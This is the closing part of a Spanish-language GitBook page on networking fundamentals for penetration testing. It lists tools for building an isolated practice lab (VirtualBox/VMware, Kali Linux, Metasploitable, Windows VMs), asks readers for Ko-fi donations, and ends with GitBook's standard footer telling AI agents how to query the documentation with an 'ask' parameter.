<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th></tr></thead><tbody><tr><td align="center"><h4>VirtualBox/VMware</h4></td><td align="center"><mark style="color:$info;">Ejecuta múltiples máquinas virtuales para simular redes. Crea redes aisladas para pruebas seguras</mark></td></tr><tr><td align="center"><h4>Kali Linux</h4></td><td align="center"><mark style="color:$info;">Precargado con todas las herramientas mencionadas aquí. La distribución de referencia para pruebas de penetración</mark></td></tr><tr><td align="center"><h4>Metasploitable</h4></td><td align="center"><mark style="color:$info;">VM de Linux intencionalmente vulnerable. Objetivo perfecto para practicar ataques de red</mark></td></tr><tr><td align="center"><h4>VMs Windows</h4></td><td align="center"><mark style="color:$info;">Configura Windows Server y clientes para practicar ataques a Active Directory, exploits SMB, etc</mark></td></tr></tbody></table>

***

<h4 align="center">Apoya este proyecto ☕</h4>

<p align="center">¿Te ha servido de ayuda? Si este contenido te ha sido útil, puedes apoyar mi trabajo invitándome a un café en Ko-fi. ¡Gracias por leer!</p>

<figure><img src="/files/4ZihYi4VKdzgw2DVeXGn" alt="" width="563"><figcaption><p><a href="https://ko-fi.com/hollowsec">https://ko-fi.com/hollowsec</a></p></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xnotkyo.gitbook.io/faq.hollowsec/hacking/fundamentos-de-red.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
